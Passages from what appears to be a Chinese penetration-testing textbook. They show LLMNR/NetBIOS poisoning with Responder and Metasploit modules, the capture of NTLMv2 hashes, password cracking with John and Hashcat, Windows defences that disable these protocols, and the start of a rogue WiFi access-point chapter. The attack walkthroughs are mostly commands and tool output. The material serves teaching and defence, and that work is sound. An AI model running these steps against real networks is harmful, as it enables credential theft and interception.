    {"text": "未知 5.1 LLMNR/NetBIOS攻击原理 NetBIOS和LLMNR协议对没有DNS服务可用的系统非常有效，但同时也存在安全风险。当用户输入不存在、包含错误或者DNS服务器没有主机名时，就会使用这两个协议在网络中搜索主机。这两个协议允许本地网络上的任何主机回答请求。因此，攻击主机能够代替网络上任何不存在的主机回答请求，并诱导发起请求的主机连接到攻击主机。LLMNR/NetBIOS攻击的原理如图5.1所示。 图5.1 LLMNR/NetBIOS攻击 LLMNR/NetBIOS攻击的具体工作流程如下： （1）主机A请求解析主机B的IP地址，由于DNS服务器没有找到对应的条目，所以将会使用LLMNR和NetBIOS服务器进行名称解析。主机A将发送未经认证的UDP广播到网络中，请求查询主机B的名称。 （2）在局域网中，所有主机都收到了主机A发送的请求，攻击主机快速地响应主机A，告诉主机A自己是主机B。 （3）当主机A收到攻击主机的响应后，将会保存该主机名及对应的IP地址信息。接下来，主机A发送给主机B的所有请求就都被欺骗到攻击主机上了。 未知 5.2 使用Responder工具实施攻击 Responder工具是由LaurentGaffie发布的一款功能强大且简单易用的内网渗透工具，它将NetBIOS名称服务（NBNS）、LLMNR和DNS攻击集成到一个工具中。本节将介绍如何使用Responder工具嗅探用户登录凭证。 未知 5.2.1 Responder工具概述 Responder工具的语法格式如下： responder <OPTIONS> 该工具支持的选项及含义如下： ·--version：显示版本号。 ·-h,--help：显示帮助信息。 ·-A,--analyze：开启分析模式。使用该选项只监听和分析，而不进行欺骗。 ·-I eth0,--interface=eth0：指定监听的网络接口。如果要监听所有接口，则使用ALL值。 ·-i 10.0.0.21,--ip=10.0.0.21：指定本地IP地址。该选项只适用于OSX系统。 ·-e 10.0.0.22,--externalip=10.0.0.22：使用另一个地址欺骗所有请求，而不是Responder监听的地址。 ·-b,--basic：启用HTTP基础认证，默认为NTLM。 ·-r,--wredir：支持响应NETBIOS查询，默认是关闭的。 ·-d,--NBTNSdomain：支持响应NETBIOS域名后缀查询，默认是关闭的。 ·-f,--fingerprint：进行指纹识别。 ·-w,--wpad：启用伪造的WPAD代理服务。 ·-u UPSTREAM_PROXY,--upstream-proxy=UPSTREAM_PROXY：指定伪造的WPAD代理服务的上游代理。 ·-F,--ForceWpadAuth：强制启用NTLM/Basic授权验证，默认是关闭的。 ·-P,--ProxyAuth：强制使用NTLM基本认证。该选项和-r选项一起使用，效率更高。 ·--lm：强制解密Windows XP/2003和早期版本的LM哈希值，默认是关闭的。 ·-v,--verbose：显示冗余信息。"},
    {"text": "未知 5.2.2 实施LLMNR/NetBIOS攻击 当对Responder工具的语法格式了解清楚后，就可以使用该工具实施LLMNR/NetBIOS攻击了。下面将介绍具体的实施方法。 【实例5-1】 使用Responder工具实施LLMNR/NetBIOS攻击。具体操作步骤如下： （1）在攻击主机上启动Responder工具。执行命令： root@daxueba:~# responder -I eth0 __ .----.-----.-----.-----.-----.-----.--| |.-----.----. | _| -__|__ --| _ | _ | | _ || -__| _| |__| |_____|_____| __|_____|__|__|_____||_____|__| |__| NBT-NS, LLMNR & MDNS Responder 2.3.4.0 Author: Laurent Gaffie (laurent.gaffie@gmail.com) To kill this script hit CTRL-C [+] Poisoners: #毒化攻击 LLMNR [ON] NBT-NS [ON] DNS/MDNS [ON] [+] Servers: #服务 HTTP server [ON] HTTPS server [ON] WPAD proxy [OFF] Auth proxy [OFF] SMB server [ON] Kerberos server [ON] SQL server [ON] FTP server [ON] IMAP server [ON] POP3 server [ON] SMTP server [ON] DNS server [ON] LDAP server [ON] RDP server [ON] [+] HTTP Options: #HTTP选项 Always serving EXE [OFF] Serving EXE [OFF] Serving HTML [OFF] Upstream Proxy [OFF] [+] Poisoning Options: #毒化攻击选项 Analyze Mode [OFF] Force WPAD auth [OFF] Force Basic Auth [OFF] Force LM downgrade [OFF] Fingerprint hosts [OFF] [+] Generic Options: #通用选项 Responder NIC [eth0] Responder IP [192.168.198.138] Challenge set [random] Don't Respond To Names ['ISATAP'] [+] Listening for events... 从输出信息中可以看到Responder工具开启的攻击选项及服务选项等。从Poisoners部分可以看到，针对LLMNR、NBT-NS和DNS/MDNS的毒化攻击已经开启。 （2）在目标主机上访问一个不存在的主机。例如，这里访问一个名为daxueba的主机，在文件资源管理器中输入\\\\daxueba，如图5.2所示。 （3）输入\\\\daxueba后，Windows系统会尝试连接主机daxueba。首先，它将检查DNS服务器，如果不存在主机daxueba，就会通过LLMNR协议进行多播，在局域网中进行搜索。渗透测试者在攻击主机上可以看到Responder的响应，此时将弹出一个身份验证对话框，如图5.3所示。 图5.2 文件资源管理器 图5.3 身份验证对话框 （4）当目标用户输入认证信息后，Responder即可监听到目标用户发送的哈希、用户名和IP地址等信息，如下： [*] [LLMNR] Poisoned answer sent to 192.168.198.1 for name daxueba [SMB] NTLMv2-SSP Client : 192.168.198.1 [SMB] NTLMv2-SSP Username : DESKTOP-RKB4VQ4\\daxueba [SMB] NTLMv2-SSP Hash : daxueba::DESKTOP-RKB4VQ4:1122334455667788:34 ba093d6427113e05ef13397cf90ace:010100000000000040ca367f5ec9d1014e6d2584 1c85d1d0000000000200060053004d0042000100160053004d0042002d0054004f004f0 04c004b00490054000400120073006d0062002e006c006f00630061006c000300280073 006500720076006500720032003000300033002e0073006d0062002e006c006f0063006 1006c000500120073006d0062002e006c006f00630061006c0008003000300000000000 00000000000000300000cc6fa0f8e1a8a9097f3931b226c95c319eb87cc6379e7035027 4efad5aad0b3c0a00100000000000000000000000000000000000090028004800540054 0050002f00770069006e002d0072006b0070006b007100660062006c006700360063000 000000000000000 从输出的信息中可以看到，成功地获取了一个NTLMv2哈希值。其中，Responder工具默认将捕获的认证信息保存在安装位置的logs目录中。在Kali Linux中，Responder工具默认安装在/usr/share/responder中。执行命令如下： root@daxueba:~# cd /usr/share/responder/logs root@daxueba:/usr/share/responder/logs# ls Analyzer-Session.log Config-Responder.log Poisoners-Session.log Responder-Session.log SMB-NTLMv2-SSP-192.168.198.1.txt 从输出的信息中可以看到，捕获的SMB认证信息保存在SMB-NTLMv2-SSP-192.168.198.1.txt文件中。此时，可以使用cat命令查看，输出信息如下： root@daxueba:/usr/share/responder/logs# cat SMB-NTLMv2-SSP-192.168.198. 1.txt daxueba::DESKTOP-RKB4VQ4:1122334455667788:34ba093d6427113e05ef13397cf90 ace:010100000000000040ca367f5ec9d1014e6d25841c85d1d00000000002000600530 04d0042000100160053004d0042002d0054004f004f004c004b00490054000400120073 006d0062002e006c006f00630061006c000300280073006500720076006500720032003 000300033002e0073006d0062002e006c006f00630061006c000500120073006d006200 2e006c006f00630061006c000800300030000000000000000000000000300000cc6fa0f 8e1a8a9097f3931b226c95c319eb87cc6379e70350274efad5aad0b3c0a001000000000 000000000000000000000000000900280048005400540050002f00770069006e002d007 2006b0070006b007100660062006c006700360063000000000000000000 从输出的信息中可以看到成功捕获的SMB认证信息。其中，该哈希值可以使用John或Hashcat工具来破解。"},
    {"text": "未知 5.2.3 使用John工具破解密码 John工具是一个快速破解密码工具，用于在已知密文的情况下尝试破解出明文密码。目前，John工具支持大多数的加密算法，如DES、MD4、MD5等。它支持多种不同类型的系统架构，包括Unix、Linux、Windows、DOS、BeOS和OpenVMSMTP等。该工具不仅支持破解各种Unix系统上常见的密码哈希类型，还支持Windows LM散列，以及社区增强版本中的许多其他哈希值和密码。使用John工具破解密码的语法格式如下： john <OPTIONS> <PASSWORD-FILES> 该工具常用的选项及含义如下： ·--single[=SECTION]：使用单一破解模式。 ·--wordlist[=FILE]：指定密码字典。 ·--rules[=SECTION]：指定密码字典应用规则。 【实例5-2】 使用John工具破解哈希密码。执行命令： root@daxueba:/usr/share/responder/logs# john SMB-NTLMv2-SSP-192.168.198. 1.txt Using default input encoding: UTF-8 Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status Almost done: Processing the remaining buffered candidate passwords, if any. Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance. Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist 123456 (daxueba) 1g 0:00:00:00 DONE 2/3 (2019-10-29 10:25) 14.28g/s 189485p/s 189485c/s 189485C/s 123456..maggie Use the \"--show --format=netntlmv2\" options to display all of the cracked passwords reliably Session completed 从输出的信息中可以看到，成功破解出了主机daxueba的密码，其密码为123456。"},
    {"text": "其中，使用Hashcat工具破解NTLMv2哈希密码的语法格式如下： hashcat -m 5600 [hashfile] [dictionary] --force 以上语法中的选项及含义如下： ·-m 5600：破解NTLMv2哈希密码。"},
    {"text": "执行命令如下： root@daxueba:~# cat hashes.txt daxueba::DESKTOP-RKB4VQ4:2b98f8d05f340277:29028DF36ECAA550EFD3CAF6E87A6 4CD:0101000000000000C0653150DE09D201866A9963063A16B50000000002000800530 04D004200330001001E00570049004E002D005000520048003400390032005200510041 00460056000400140053004D00420033002E006C006F00630061006C000300340057004 9004E002D00500052004800340039003200520051004100460056002E0053004D004200 33002E006C006F00630061006C000500140053004D00420033002E006C006F006300610 06C0007000800C0653150DE09D201060004000200000008003000300000000000000001 000000002000001BE13D4A4833E0388E88B198379DEF6FF8753A844E34C5AD38A04B41B C6BB2840A00100000000000000000000000000000000000090012006300690066007300 2F006B0061006C0069000000000000000000 （2）使用Hashcat工具破解密码。 执行命令如下： root@daxueba:~# hashcat -m 5600 hashes.txt password --force hashcat (v5.1.0) starting... OpenCL Platform #1: The pocl project ==================================== * Device #1: pthread-Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz, 256/719 MB allocatable, 1MCU Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 Applicable optimizers: * Zero-Byte * Not-Iterated * Single-Hash * Single-Salt Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256 ATTENTION! Pure (unoptimized) OpenCL kernels selected. This enables cracking passwords and salts > length 32 but for the price of drastically reduced performance. If you want to switch to optimized OpenCL kernels, append -O to your commandline. Watchdog: Hardware monitoring interface not found on your system. Watchdog: Temperature abort trigger disabled. * Device #1: build_opts '-cl-std=CL1.2 -I OpenCL -I /usr/share/hashcat/ OpenCL -D LOCAL_MEM_TYPE=2 -D VENDOR_ID=64 -D CUDA_ARCH=0 -D AMD_ROCM=0 –D VECT_SIZE=8 -D DEVICE_TYPE=2 -D DGST_R0=0 -D DGST_R1=3 -D DGST_R2=2 –D DGST_R3=1 -D DGST_ELEM=4 -D KERN_TYPE=5600 -D _unroll' Dictionary cache hit: * Filename..: password * Passwords.: 5 * Bytes.....: 34 * Keyspace..: 5 The wordlist or mask that you are using is too small. This means that hashcat cannot use the full parallel power of your device(s). Unless you supply more work, your cracking speed will drop. For tips on supplying more work, see: https://hashcat.net/faq/morework Approaching final keyspace - workload adjusted. DAXUEBA::DESKTOP-RKB4VQ4:2b98f8d05f340277:29028df36ecaa550efd3caf6e87a6 4cd:0101000000000000c0653150de09d201866a9963063a16b50000000002000800530 04d004200330001001e00570049004e002d005000520048003400390032005200510041 00460056000400140053004d00420033002e006c006f00630061006c000300340057004 9004e002d00500052004800340039003200520051004100460056002e0053004d004200 33002e006c006f00630061006c000500140053004d00420033002e006c006f006300610 06c0007000800c0653150de09d201060004000200000008003000300000000000000001 000000002000001be13d4a4833e0388e88b198379def6ff8753a844e34c5ad38a04b41b c6bb2840a00100000000000000000000000000000000000090012006300690066007300 2f006b0061006c0069000000000000000000:123456 Session.......... : hashcat Status........... : Cracked Hash.Type........ : NetNTLMv2 Hash.Target..... .: DAXUEBA::DESKTOP-RKB4VQ4:2b98f8d05f340277: 29028df36...000000 Time.Started..... : Tue Oct 29 10:24:31 2019 (0 secs) Time.Estimated... : Tue Oct 29 10:24:31 2019 (0 secs) Guess.Base...... .: File (password) Guess.Queue...... : 1/1 (100.00%) Speed.#1......... : 25 H/s (0.02ms) @ Accel:1024 Loops:1 Thr:1 Vec:8 Recovered....... .: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress......... : 5/5 (100.00%) Rejected......... : 0/5 (0.00%) Restore.Point.... : 0/5 (0.00%) Restore.Sub.#1... : Salt:0 Amplifier:0-1 Iteration:0-1 Candidates.#1.... : root -> test Started: Tue Oct 29 10:24:29 2019 Stopped: Tue Oct 29 10:24:32 2019 从输出的信息中可以看到，已成功将目标主机的密码破解出来并显示在加密的Hash密码字符串的后面。"},
    {"text": "未知 5.3 使用Metasploit框架实施攻击 Metasploit框架是一个免费的、可下载的框架。通过它可以很容易地获取计算机软件漏洞，并利用其漏洞实施攻击。该框架本身附带数百个已知软件漏洞的专业级漏洞攻击工具。本节将介绍如何使用Metasploit框架中的模块实施LLMNR/NetBIOS攻击。 未知 5.3.1 LLMNR欺骗 在Metasploit框架中，提供了一个llmnr_response模块，用来实施LLMNR欺骗。下面将介绍使用llmnr_response模块实施LLMNR欺骗。 【实例5-4】 下面使用llmnr_response模块实施LLMNR欺骗。具体操作步骤如下： （1）启动MSF终端。执行命令： root@daxueba:~# msfconsole ___ ____ ,-\"\" `. < HONK > ,' _ e )`-._ / ---- / ,' `-._<.===-' / / / ; _ / ; (`._ _.-\"\" \"\"--..__,' | <_ `-\"\" \\ <`- : (__ <__. ; `-. '-.__. _.' / \\ `-.__,-' _,' `._ , /__,-' \"\"._\\__,'< <____ | | `----.`. | | \\ `. ; |___ \\-`` \\ --< `.`.< `-' =[ metasploit v5.0.53-dev ] + -- --=[ 1931 exploits - 1079 auxiliary - 331 post ] + -- --=[ 556 payloads - 45 encoders - 10 nops ] + -- --=[ 7 evasion ] msf5 > 出现“msf5>”提示符表示成功启动了MSF终端。接下来，用户就可以加载llmnr_response模块，并实施LLMNR欺骗了。 （2）在加载llmnr_response模块之前，首先搜索完整的路径名。利用Search命令，输出信息如下： msf5 > search llmnr_response Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/spoof/llmnr/ normal No LLMNR Spoofer llmnr_response 从输出的信息中可以看到，llmnr_response模块的完整路径为auxiliary/spoof/llmnr/llmnr_response。 （3）加载auxiliary/spoof/llmnr/llmnr_response模块。执行命令： msf5 > use auxiliary/spoof/llmnr/llmnr_response msf5 auxiliary(spoof/llmnr/llmnr_response) > 其中，提示符msf5 auxiliary(spoof/llmnr/llmnr_response)>表示成功加载了llmnr_response模块。 （4）当成功加载模块后，还需要对模块的选项进行配置。查看可配置的模块选项，结果如下： msf5 auxiliary(spoof/llmnr/llmnr_response) > show options Module options (auxiliary/spoof/llmnr/llmnr_response): Name Current Setting Required Description ---- --------------- -------- ----------- INTERFACE no The name of the interface REGEX .* yes Regex applied to the LLMNR Name to determine if spoofed reply is sent SPOOFIP yes IP address with which to poison responses TIMEOUT 500 yes The number of seconds to wait for new data TTL 30 no Time To Live for the spoofed response Auxiliary action: Name Description ---- ----------- Service 以上输出信息显示了llmnr_response模块的所有选项。以上信息共包括四列，分别是Name（选项名称）、Current Setting（当前设置）、Required（必需项）和Description（描述）。当Required列的值为yes时，表示必须设置该选项；如果为no，可以不设置。另外，一些选项已经配置了默认设置，大部分情况下这些默认设置是不需要修改的。从显示的结果中可以看到，SPOOFIP选项是一个必须设置选项，而且还没有设置。接下来，将对其进行设置。 （5）配置监听接口名称INTERFACE选项。执行命令如下： msf5 auxiliary(spoof/llmnr/llmnr_response) > set INTERFACE eth0 INTERFACE => eth0 （6）配置毒化响应IP地址，指定为攻击主机的IP地址。执行命令如下： msf5 auxiliary(spoof/llmnr/llmnr_response) > set SPOOFIP 192.168.198.138 SPOOFIP => 192.168.198.138 （7）实施欺骗。执行命令： msf5 auxiliary(spoof/llmnr/llmnr_response) > exploit [*] Auxiliary module running as background job 0. [*] LLMNR Spoofer started. Listening for LLMNR requests with REGEX \"(?-mix:.*)\" ... 从输出的信息中可以看到，LLMNR欺骗已启动（加粗信息）。此时，正在监听LLMNR请求。当有主机请求LLMNR协议进行域名解析时，将被捕获。 [+] 192.168.198.139 llmnr - Test-PC. matches regex, responding with 192.168.198.138 [+] 192.168.198.139 llmnr - bob. matches regex, responding with 192. 168.198.138 以上输出信息，表示主机192.168.198.139被LLMNR欺骗了，请求解析主机名bob。"},
    {"text": "未知 5.3.2 NetBIOS攻击 在Metasploit框架中提供了一个NetBIOS攻击模块nbns_response。下面将介绍如何使用nbns_response模块实施NetBIOS攻击。 【实例5-5】 使用nbns_response模块实施NetBIOS攻击。具体操作步骤如下： （1）启动MSF终端。执行命令： root@daxueba:~# msfconsole msf5 > （2）加载nbns_response模块。执行命令： msf5 > use auxiliary/spoof/nbns/nbns_response msf5 auxiliary(spoof/nbns/nbns_response) > （3）查看模块配置选项。执行命令： msf5 auxiliary(spoof/nbns/nbns_response) > show options Module options (auxiliary/spoof/nbns/nbns_response): Name Current Setting Required Description ---- --------------- -------- ----------- INTERFACE no The name of the interface REGEX .* yes Regex applied to the NB Name to determine if spoofed reply is sent SPOOFIP 127.0.0.1 yes IP address with which to poison responses TIMEOUT 500 yes The number of seconds to wait for new data Auxiliary action: Name Description ---- ----------- Service 以上输出信息，显示了当前模块的所有配置选项。 （4）配置监听的网络接口INTERFACE选项。执行命令： msf5 auxiliary(spoof/nbns/nbns_response) > set INTERFACE eth0 INTERFACE => eth0 （5）实施NetBIOS攻击。执行命令： msf5 auxiliary(spoof/nbns/nbns_response) > run [*] Auxiliary module running as background job 0. [*] NBNS Spoofer started. Listening for NBNS requests with REGEX \".*\" ... 从输出的信息中可以看到，已成功启动了NBNS攻击（加粗信息）。当有主机被攻击时，会输出如下所示的信息： [+] 192.168.198.139 nbns - BOB matches regex, responding with 127.0.0.1 从输出信息中可以看到，主机192.168.198.139被NBNS攻击了，请求解析主机名BOB。 未知 5.3.3 捕获认证信息 使用llmnr_response和nbns_response模块，即可成功实施LLMNR/NetBIOS攻击。但是，不能捕获密码哈希。如果要捕获认证信息，可以结合auxiliary/server/capture/smb和auxiliary/server/capture/http_ntlm模块。下面将介绍具体的实现方法。 【实例5-6】 使用auxiliary/server/capture/smb模块捕获认证信息。具体操作步骤如下： （1）在MSF终端，加载auxiliary/server/capture/smb模块。执行命令： msf5 > use auxiliary/server/capture/smb msf5 auxiliary(server/capture/smb) > （2）查看模块配置选项。执行命令： msf5 auxiliary(server/capture/smb) > show options Module options (auxiliary/server/capture/smb): Name Current Setting Required Description ---- --------------- -------- ----------- CAINPWFILE no The local filename to store the hashes in Cain&Abel format CHALLENGE 1122334455667788 yes The 8 byte server challenge JOHNPWFILE no The prefix to the local filename to store the hashes in John format SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 445 yes The local port to listen on. Auxiliary action: Name Description ---- ----------- Sniffer 以上输出信息显示了当前模块的所有配置选项。为了方便查找捕获的认证信息，这里将配置JOHNPWFILE选项来指定存储哈希文件的路径及文件前缀。 （3）配置JOHNPWFILE选项，指定文件名为/root/smbhash。执行命令： msf5 auxiliary(server/capture/smb) > set JOHNPWFILE /root/smbhash JOHNPWFILE => /root/smbhash （4）实施攻击。执行命令： msf5 auxiliary(server/capture/smb) > run [*] Auxiliary module running as background job 0. [*] Started service listener on 0.0.0.0:445 [*] Server started. 从输出的信息中可以看到，已成功启动了攻击，并且监听地址为0.0.0.0，端口为445。当目标主机访问该端口时，其认证信息将被捕获。 （5）在目标主机访问攻击主机的共享文件。例如，这里将使用UNC路径访问攻击主机的共享文件，即\\\\192.168.198.138\\。访问成功后，将弹出一个密码认证对话框，如图5.4所示。 图5.4 密码认证对话框 在该对话框中，用户输入的认证信息将被捕获。输出信息如下： [*] SMB Captured - 2019-10-28 23:01:45 +0800 NTLMv2 Response Captured from 192.168.198.137:49403 - 192.168.198.137 USER:daxueba DOMAIN:TEST-PC OS: LM: LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled NTHASH:8778705142abfe55160cca1d1ab0b7de NT_CLIENT_CHALLENGE:01010000000000007615279ca08dd5019356b60ee642a628000 00000020000000000000000000000 从输出的信息中可以看到，已成功捕获目标主机的密码哈希值。其中，默认生成的认证文件名为smbhash_netntlmv2。用户可以使用cat命令查看捕获的认证信息，输出信息如下： root@daxueba:~# cat smbhash_netntlmv2 daxueba::TEST-PC:1122334455667788:8778705142abfe55160cca1d1ab0b7de:0101 0000000000007615279ca08dd5019356b60ee642a628000000000200000000000000000 00000 提示： 使用auxiliary/server/capture/smb模块捕获认证信息时，仅支持SMB1协议。在最新版Windows 10中，默认安装的是SMB2。因此，测试时将弹出“提示出现错误”的对话框，如图5.5所示。 图5.5 提示出现错误"},
    {"text": "未知 5.3.4 捕获NTLM认证 对于无法使用auxiliary/server/capture/smb模块捕获认证的用户，可以使用auxiliary/server/capture/http_ntlm模块捕获NTLM认证。下面将介绍捕获NTLM认证的方法。 【实例5-7】 使用auxiliary/server/capture/http_ntlm模块捕获NTLM认证。具体操作步骤如下： （1）加载auxiliary/server/capture/http_ntlm模块，并查看该模块配置选项。执行命令： msf5 > use auxiliary/server/capture/http_ntlm msf5 auxiliary(server/capture/http_ntlm) > show options Module options (auxiliary/server/capture/http_ntlm): Name Current Setting Required Description ---- --------------- -------- ----------- CAINPWFILE no The local filename to store the hashes in Cain&Abel format CHALLENGE 1122334455667788 yes The 8 byte challenge JOHNPWFILE no The prefix to the local filename to store the hashes in JOHN format SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) URIPATH no The URI to use for this exploit (default is random) Auxiliary action: Name Description ---- ----------- WebServer 以上输出信息显示了当前模块的所有配置选项。为了方便查看捕获的认证信息文件，这里将配置JOHNPWFILE选项。 （2）配置JOHNPWFILE选项，指定文件名为/root/httpntlm。执行命令： msf5 auxiliary(server/capture/http_ntlm) > set JOHNPWFILE /root/httpntlm JOHNPWFILE => /root/httpntlm （3）实施攻击。执行命令： msf5 auxiliary(server/capture/http_ntlm) > exploit [*] Auxiliary module running as background job 0. [*] Using URL: http://0.0.0.0:8080/aSofZL9kH [*] Local IP: http://192.168.198.138:8080/aSofZL9kH [*] Server started. 从输出的信息中可以看到，已成功启动了auxiliary/server/capture/http_ntlm模块，并且生成了两个URL地址。当目标用户在浏览器中访问任意一个URL地址时，都将弹出认证对话框，如图5.6所示。 图5.6 认证对话框 当目标用户输入认证信息，并单击“登录”按钮后，该认证信息将被捕获。输出信息如下： [*] 2019-10-28 23:16:26 +0800 NTLMv2 Response Captured from DESKTOP-RKB4VQ4 DOMAIN: USER: daxueba LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled NTHASH:e2def1413c895f711e7083a5f9e56ed2 NT_CLIENT_CHALLENGE:010100000000 000078677ea8a28dd501679365edf98fd7150000000002000c0044004f004d004100490 04e000000000000000000 从输出的信息中可以看到捕获的认证信息。其中，捕获的密码有LM哈希和NTLM哈希。该模块捕获的认证信息将分别被保存在httpntlm_netlmv2和httpntlm_netntlmv2文件中。此时，用户同样可以使用cat命令查看认证信息，输出信息如下： root@daxueba:~# cat httpntlm_netlmv2 daxueba:::1122334455667788:00000000000000000000000000000000:00000000000 00000 root@daxueba:~# cat httpntlm_netntlmv2 daxueba:::1122334455667788:e2def1413c895f711e7083a5f9e56ed2:01010000000 0000078677ea8a28dd501679365edf98fd7150000000002000c0044004f004d00410049 004e000000000000000000 未知 5.4 防御策略 为了防止在局域网内遭到NetBIOS攻击和LLMNR欺骗，最好的方法就是关闭NetBIOS和LLMNR服务。但是，关闭这些服务以后，用户的一些正常需求可能会受到影响。本节将介绍关闭NetBIOS和LLMNR服务的方法。 未知 5.4.1 关闭NetBIOS服务 【实例5-8】 在Windows 10中，关闭NetBIOS服务。具体操作步骤如下： （1）右击桌面上的“网络”图标，在弹出的快捷菜单中选择“属性”命令，打开“网络和共享中心”窗口，如图5.7所示。 图5.7 “网络和共享中心”窗口 （2）在该窗口中选择“更改适配器设置”选项卡，将打开“网络连接”窗口，如图5.8所示。 图5.8 网络连接 （3）右击“以太网”接口，在弹出的快捷菜单中选择“属性”命令，将打开“以太网属性”对话框，如图5.9所示。 （4）选择“Internet协议版本4(TCP/IPv4)”复选框，并单击“属性”按钮，打开“Internet协议版本4(TCP/IPv4)属性”对话框，如图5.10所示。 图5.9 “以太网属性”对话框 图5.10 “Internet协议版本4(TCP/IPv4)属性”对话框 （5）单击“高级”按钮，将打开“高级TCP/IP设置”对话框，如图5.11所示。 （6）单击“WINS”选项卡，选择“禁用TCP/IP上的NetBIOS”单选按钮，并单击“确定”按钮，即可关闭NetBIOS服务，如图5.12所示。 图5.11 “高级TCP/IP设置”对话框 图5.12 “WINS”选项卡"},
    {"text": "未知 5.4.2 关闭LLMNR服务 【实例5-9】 在Windows 10中，关闭LLMNR服务。具体操作步骤如下： （1）按Win+R快捷键，打开“运行”对话框，如图5.13所示。 图5.13 “运行”对话框 （2）在“打开”文本框中输入gpedit.msc，单击“确定”按钮，将打开“本地组策略编辑器”窗口，如图5.14所示。 图5.14 “本地组策略编辑器”窗口 （3）在左侧列表中依次选择“计算机配置”|“管理模板”|“网络”|“DNS客户端”选项，即可在窗口右侧区域设置DNS客户端，如图5.15所示。 （4）双击“设置”列的“关闭多播名称解析”选项，打开“关闭多播名称解析”对话框，如图5.16所示。 图5.15 DNS客户端 图5.16 “关闭多播名称解析”对话框 （5）选择“已禁用”单选按钮，并单击“确定”按钮，即可关闭LLMNR服务。 未知 第6章 WiFi攻击及防御 WiFi是现在常用的联网方式。由于其特殊的接入网络方式，中间人攻击方式更多。伪AP（也称钩鱼WiFi）是专门针对WiFi的一种中间人攻击。伪AP和真实AP拥有相同的功能，可以为用户提供正常的网络环境。攻击者通过创建伪AP，迫使其他客户端连接到该AP，并使用抓包工具（如Wireshark）捕获连接伪AP的客户端发送及接收的所有数据包，然后再采用其他方式窃取相应的信息，直到获得攻击者的目标信息为止。本章将介绍WiFi攻击的方法。 未知 6.1 WiFi网络概述 WiFi是一个无线网络通信技术的标准。它可以将个人计算机、手持设备（如pad、手机）等终端以无线方式互相连接。本节将介绍WiFi网络的概念、工作原理及WiFi中间人攻击的原理。 未知 6.1.1 什么是WiFi网络 网络按照区域分类可以分为局域网、城域网和广域网。无线网络（如WLAN）是相对有线局域网来说的，而WiFi是一种在无线网络中传输的技术。目前，主流应用的无线网络分为GPRS手机无线网络上网和无线局域网两种方式。而GPRS手机上网方式是借助移动电话网络接入Internet的无线上网方式。 一般架设WiFi网络的基本设备就是无线网卡和一台AP。AP为Access Point的简称，一般翻译为“无线访问接入点”或“桥接器”，如无线路由器。它主要在媒体存取控制层MAC中扮演无线工作站及有线局域网络的桥梁。AP就像有线网络的Hub，有了它无线工作站可以快速、轻易地与无线网络相连。 未知 6.1.2 WiFi工作原理 WiFi的设置至少需要一台AP和一个或一个以上的客户端。AP每100ms将服务集标识（Service Set Identifier，SSID）经由beacons（信号台）封包广播一次。SSID一般就是无线网络名。beacons封包的传输速率是1Mbit/s，并且长度相当短。因此，这个广播动作对网络性能的影响不大。因为WiFi规定的最低传输速率是1Mbit/s，所以可以确保WiFi客户端都能收到这个SSID广播封包。收到广播封包后，客户端可以决定是否要和这个SSID的AP连线。 未知 6.1.3 WiFi中间人攻击原理 在WiFi网络中，通过伪AP可以非常容易地实现中间人攻击。首先，攻击者要使用与合法接入同样的SSID（如果加密的话，还要认证/加密算法相同，并且预共享秘钥相同），并让伪造接入点的功率大于合法接入点（相对被攻击者而言）就可以了。其次，攻击者以客户端的身份连接到合法接入点，在中间中转被攻击者跟合法接入点之间的流量。最后，在中转流量的过程中监听数据，或者进一步实施更高级的攻击手段。其中，WiFi中间人攻击原理如图6.1所示。 图6.1 WiFi中间人攻击的原理 客户端连接伪AP的方式有两种： 一是攻击者创建一个与合法AP同样的SSID后，一些不细心的用户主动连接；二是攻击者借助一些工具（如mdk3）将客户端强制踢下线，当客户端重新连接AP时，使创建的伪AP出现在最前面，并显示出非常强的信号，从而达到迫使用户连接到伪AP的目的。 未知 6.2 创建伪AP 伪AP实际上就是一个假的AP。但是，如果伪AP的参数（如SSID名称、信道、MAC地址等）设置得和原始AP相同的话，则伪AP就和原始AP发挥一样的作用，可以接收来自目标客户端的连接。本节将介绍使用几种工具来创建伪AP的方法。"},
    {"text": "使用该工具可以创建非加密、WEP、WPA和WPA2等各类伪AP。 下面介绍使用Airbase-ng工具创建伪AP的方法。 Airbase-ng工具的语法格式如下： airbase-ng [选项] 其中，用于创建伪AP的选项及含义如下： ·-e：指定伪AP的ESSID。"},
    {"text": "具体操作步骤如下： （1）设置无线网卡为监听模式。 首先，检查无线网卡是否被激活，执行命令： root@daxueba:~# iwconfig eth0 no wireless extensions. lo no wireless extensions. wlan0 IEEE 802.11 ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm Retry short long limit:2 RTS thr:off Fragment thr:off Encryption key:off Power Management:off 从输出的信息中可以看到，有一个名为wlan0的网络接口。"},
    {"text": "接下来，使用airmon-ng命令设置该网卡为监听模式。 执行命令： root@daxueba:~# airmon-ng start wlan0 Found 3 processes that could cause trouble. Kill them using 'airmon-ng check kill' before putting the card in monitor mode, they will interfere by changing channels and sometimes putting the interface back in managed mode PID Name 495 NetworkManager 586 wpa_supplicant 587 dhclient PHY Interface Driver Chipset phy0 wlan0 rt2800usb Ralink Technology, Corp. RT5370 (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon) (mac80211 station mode vif disabled for [phy0]wlan0) 从输出的信息中可以看到，已成功设置无线网络接口wlan0为监听模式。"},
